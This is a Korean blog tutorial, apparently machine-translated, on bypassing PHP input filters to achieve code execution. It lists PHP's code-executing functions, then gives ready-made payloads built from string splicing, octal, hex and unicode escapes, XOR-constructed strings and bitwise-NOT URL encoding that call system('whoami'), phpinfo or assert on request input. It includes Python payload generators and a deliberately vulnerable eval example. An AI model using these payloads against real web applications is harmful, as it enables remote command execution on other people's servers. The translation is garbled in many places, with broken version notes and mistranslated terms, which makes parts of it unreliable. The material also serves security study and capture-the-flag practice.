개발 꿀팁/PHP

PHP 코드 실행 시 필터링 제한이 발생하는 바이패스 실행 방법에 대해 간략히 설명하다

Jammie 2022. 7. 8. 12:56
반응형

 

 

 

코드 실행 함수
먼저 PHP에서 어떤 함수가 코드 실행 기능을 가지고 있는지 살펴본다.

eval()

가장 흔한 코드 실행 함수로 문자열 code를 PHP 코드로 실행한다.

eval ( string $code ) : mixed

assert()

단언 여부를 검사하기false

PHP 5
assert ( mixed $assertion [, string $description ] ) : bool

 

PHP 7
assert ( mixed $assertion [, Throwable $exception ] ) : bool

assert()

단언 여부를 검사하기falseassert( )는 지정된 assertion을 체크하고 결과가 false일 때 적절한 행동을 취합니다.PHP5나 PHP7에서 assertion이 문자열일 경우 assert( )에 의해 PHP 코드로 실행된다.

preg_replace()+/e

정규 표현식 실행의 검색 및 대체

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

subject에서 pattern과 일치하는 부분을 검색하여 replacement로 대체한다.pattern의 패턴 수식자가 /e를 사용한다면 subject가 성공했을 때 replacement는 PHP 코드로 실행됩니다.

PS: preg_replace() + 함수의 / e 한정자가 PHP7에서 제거됨

create_function()

익명 (lambda 스타일) 함수 만들기

create_function ( string $args , string $code ) : string

전달된 매개 변수를 기준으로 익명 함수를 만들고 고유한 이름을 되돌려줍니다.payload를 create_function()에 전달하여 payload를 create_function( )에 전달하여 parameter나 함수체 폐쇄에 악성코드를 주입하여 코드를 실행할 수 있습니다

콜백 함수
array_map()

배열의 각 요소에 콜백 기능 적용

array_map ( callable $callback , array $array , array ...$arrays ) : array

반환 배열은 array 각 요소에 callback 함수를 적용한 배열입니다. array_map( )은 array1의 요소를 인덱스 순서대로 callback한 결과를 반환한다. callback 함수형 파라미터의 수는 array_map() 실제 파라미터의 배열 수와 일치해야 합니다

call_user_func()

첫 번째 매개 변수를 콜백 함수로 불러오기
 
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed

call_user_func_array()

콜백 함수를 호출하고 콜백 함수의 인수로 배열 인자를 사용합니다세다

call_user_func_array ( callable $callback , array $param_arr ) : mixed

array_filter()

배열의 셀을 콜백 함수로 필터링합니다

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array

순차적으로 array 배열 내의 각 값을 callback 함수로 전달한다.callback 함수가 true를 반환하면 array 배열의 현재 값이 반환된 결과 배열에 포함됩니다.배열의 키 이름은 그대로 유지됩니다

usort()

사용자 정의 사용비교함수는 배열의 값을 정렬한다

usort ( array &$array , callable $value_compare_func ) : bool

PH > = 5.6 & PHP < 7일 때 php에 파라미터가 길어지는 특성이 있음

등등 아직 많은 함수 파라미터가 회조 가능하므로 일일이 열거하지 않는다.

이제 여러 가지 필터링 상황을 보고 우회 방법을 좀 더 자세히 알아보도록 하겠습니다.

문자열 스플라이싱 바이패스
문자열 스플라이싱 바이패스 특정 키워드를 필터링하는 데 사용되는 제한 사항

적용 PHP 버전 : PHP =77

Payload:

(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");
.......

PHP에서 따옴표(싱글 따옴표/더블 따옴표)는 문자열을 나타내기 위해 반드시 필요하지 않다.PHP는 $name= (string) mochu7과 같은 선언 요소의 유형을 지원합니다. 이 경우 $name은 문자열 "mochu7" 을 포함합니다. 선언 유형을 표시하지 않으면 PHP는 괄호 안의 데이터를 문자열로 처리합니다

문자열 이스케이프 바이패스
적용 PHP 버전:PHP =77

8진수로 나타내기\[0-7]{1,3} 이스케이프 문자회byte에 자동으로 맞추기 (예: "\400" == "\000")
16진법으로 \x[0-9A-Fa-f]{1,2} 이스케이프 문자 표기법 ('\x41'
Unicode로나타내는 \u{[0-9A-Fa-f]+}자, UTF-8 문자열 출력

여기서 전의를 한 후에 주의하시오문자는 반드시 큰따옴표로 전참을 감싸야 한다

Payload 위치스크립트는 다음과 같습니다.

# -*- coding:utf-8 -*-

def hex_payload(payload):
	res_payload = ''
	for i in payload:
		i = "\\x" + hex(ord(i))[2:]
		res_payload += i
	print("[+]'{}' Convert to hex: \"{}\"".format(payload,res_payload))

def oct_payload(payload):
	res_payload = ""
	for i in payload:
		i = "\\" + oct(ord(i))[2:]
		res_payload += i
	print("[+]'{}' Convert to oct: \"{}\"".format(payload,res_payload))

def uni_payload(payload):
	res_payload = ""
	for i in payload:
		i = "\\u{{{0}}}".format(hex(ord(i))[2:])
		res_payload += i
	print("[+]'{}' Convert to unicode: \"{}\"".format(payload,res_payload))

if __name__ == '__main__':
	payload = 'phpinfo'
	hex_payload(payload)
	oct_payload(payload)
	uni_payload(payload)

Payload

"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo();
"\163\171\163\164\145\155"('whoami');#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
.......

또한, 8진법은 알파벳 없는 전삼을 우회하여 코드를 실행할 수 있다

"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');

여러 번 전삼이 우회하다.
적용 PHP 버전 : 제한 없음

따옴표(싱글따옴표/더블따옴표)를 거르면 됩니다.다음과 같은 방법으로 우회하다

GET:
?1=system&2=whoami
POST:
cmd=$_GET[1]($_GET[2]);

cmd=$_POST[1]($_POST[2]);&1=system&2=whoami

PHP 버전이 7보다 크면 여기에 있는 필터 따옴표도 스플라이스 방식으로 무시할 수 있습니다

 

(sy.st.em)(whoami);

또한 파라미터의 길이가 제한되어 있는 경우, 파라미터의 길이 제한이나 콜백 함수를 여러 번 매개 변수를 통해 우회할 수도 있다

콜백 함수는 제한의 구체적인 길이를 대부분 볼 수 있으나, PHP > = 5.6 & PHP < 7의 경우 위의 필터링 방법은 우회할 수 있습니다

 내장된 함수 접근 바이패스
PHP 버전에 적용:윈도 로컬 테스트는 PHP >=7로 성공할 수 있으며, PHP5 테스트는 오류를 보고했지만 반드시 사용할 수 없는 것은 아닙니다.

get_defined_functions(): 정의된 모든 함수를 반환합니다.

상세정보참조:https: // www.php.net/manual/zh/function.get-defined-functions.php

이런 방법을 이용하면 우선 갚아야 한다각 버전의 get_defined_functions()에서 반환되는 값이 다르기 때문에 PHP의 구체적인 버전을 알아야 합니다.여기는 php7.4.3 기준

배타적 우회
적용 PHP 버전 : 제한 없음

PHP에서 두 문자열이 배타적합한 후, 획득하나는 역시 문자열이다.
예:우리는 배타적이다? 그리고 ~하고 받을 수 있습니다.A다

문자:?         ASCII 코드:63           이진법:  00‭11 1111‬
문자:~         ASCII 코드:126          이진법:  0111 1110‬
배타적 논리합 규칙:
1   XOR   0   =   1
0   XOR   1   =   1
0   XOR   0   =   0
1   XOR   1   =   0
위의 두 글자 배타적 논리합은 이진법입니다:  0100 0001
이 이진법의 십진법 즉:65
대응하는 ASCII 사이즈는:A

다음은 예제를 보자

<?php
highlight_file(__FILE__);
error_reporting(0);
if(preg_match('/[a-z0-9]/is', $_GET['shell'])){
	echo "hacker!!";
}else{
	eval($_GET['shell']);
}
?>

모든 영문자와 숫자를 필터링하였으나 ASCII 코드에는 영숫자 이외의 문자가 많이 포함되어 있음을 알고 있으며, 이를 이용하여 배타적이거나 원하는 문자를 얻을 수 있습니다.

PS: ASCII 표의 영숫자가 아닌 다른 문자를 취합니다. 일부 문자는 전체 문장의 실행에 영향을 줄 수 있으므로, 예를 들어 역따옴표, 홑따옴표를 지웁니다.

스크립트는 다음과 같습니다

# -*- coding: utf-8 -*-

payload = "assert"
strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
#strlist네ascii표의 영숫자가 아닌 모든 문자 소수점
str1,str2 = '',''

for char in payload:
    for i in strlist:
        for j in strlist:
            if(i ^ j == ord(char)):
                i = '%{:0>2}'.format(hex(i)[2:])
                j = '%{:0>2}'.format(hex(j)[2:])
                print("('{0}'^'{1}')".format(i,j),end=".")
                break
        else:
            continue
        break

한 번의 코드 실행으로 우리가 원하는 문장의 문자열만 얻을 수 있고, 문장이 실행되지 않기 때문에 두 번의 코드 실행이 필요합니다. 구성

assert($_GET[_]);

스크립트를 사용하여 모든 글자를 변환한 다음 스플라이싱합니다

$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');
//$_='assert';
$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');
//$__='_GET';
$___=$$__;
//$___='$_GET';
$_($___[_]);
//assert($_GET[_]);

payload

$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);&_=phpinfo();

현지 테스트 결과, 이 방법은 php5 및 php7.0.9 버전에서 사용할 수 있습니다. assert()의 문제는 배타적이지 않거나 사용할 수 없기 때문입니다.
비고: PHP5 낮은 버전은 magic_quotes_gpc가 켜져 있기 때문에 사용할 수 없는 경우가 있습니다

문자 필터링 범위가 그리 넓지 않거나, 키워드만 필터링할 때 다음과 같은 스크립트를 사용할 수 있습니다.

# -*- coding: utf-8 -*-
import string

char = string.printable
cmd = 'system'
tmp1,tmp2 = '',''
for res in cmd:
    for i in char:
        for j in char:
            if(ord(i)^ord(j) == ord(res)):
                tmp1 += i
                tmp2 += j
                break
        else:
            continue
        break
print("('{}'^'{}')".format(tmp1,tmp2))
PS C:\Users\Administrator> php -r "var_dump('000000'^'CICDU]');"
Command line code:1:
string(6) "system"

인터넷에서 보던 페이로드 하나 더 올려주세요

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo

URL 인코딩 반전
적용PHP 버전:무한제조하다

역시 위의 그 예제이다
PHP = 7일 때,반구조 payload를 그대로 활용할 수 있습니다

PS C:\Users\Administrator> php -r "var_dump(urlencode(~'phpinfo'));"
Command line code:1:
string(21) "%8F%97%8F%96%91%99%90"
(~%8F%97%8F%96%91%99%90)();
#phpinfo();

 

파라미터가 있는

PS C:\Users\Administrator> php -r "var_dump(urlencode(~'system'));"
Command line code:1:
string(18) "%8C%86%8C%8B%9A%92"
PS C:\Users\Administrator> php -r "var_dump(urlencode(~'whoami'));"
Command line code:1:
string(18) "%88%97%90%9E%92%96"

payload

(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);
#system('whoami');

5<=7.0.9의 경우 한 번 더 구성된 문자를 실행해야 하므로 위의 배타적 논리합 방법을 참고한다

$_=(~'%9E%8C%8C%9A%8D%8B');$__='_'.(~'%AF%B0%AC%AB');$___=$$__;$_($___[_]);
#assert($_POST[_]);

반응형